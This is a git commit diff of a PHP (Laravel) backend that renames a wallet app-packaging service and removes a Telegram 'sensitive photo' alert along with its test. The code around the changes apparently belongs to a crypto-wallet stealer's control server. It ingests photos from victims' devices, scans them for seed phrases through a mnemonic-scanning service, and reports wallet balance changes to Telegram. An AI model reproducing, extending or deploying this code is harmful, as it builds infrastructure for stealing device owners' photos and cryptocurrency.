feat: app
This commit is contained in:
@@ -386,7 +386,7 @@ class ChannelController extends Controller
|
||||
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||
|
||||
try {
|
||||
$service = app(\App\Services\AiWalletPackageService::class);
|
||||
$service = app(\App\Services\AppPackageService::class);
|
||||
$result = $service->build($channel, $logoPath, $apiDomain);
|
||||
} catch (\Throwable $e) {
|
||||
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
|
||||
@@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
|
||||
@@ -1087,7 +1087,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -1112,12 +1111,6 @@ class IngestService
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -358,16 +358,6 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>敏感照片</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
@@ -292,7 +292,7 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
||||
public function ingest_does_not_notify_telegram_for_photos(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
config([
|
||||
@@ -307,26 +307,14 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
|
||||
$ingest = app(IngestService::class);
|
||||
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
Http::assertNothingSent();
|
||||
|
||||
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '敏感照片')
|
||||
&& str_contains($text, 'dev-hit12')
|
||||
&& str_contains($text, '敏感分</b>: 12');
|
||||
});
|
||||
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
||||
$text = (string) ($pair[0]->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '敏感照片');
|
||||
})->count());
|
||||
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->where('x_hit', 12)->count());
|
||||
Http::assertNothingSent();
|
||||
|
||||
@unlink($tmp);
|
||||
@unlink($tmp2);
|
||||
|
||||
Reference in New Issue
Block a user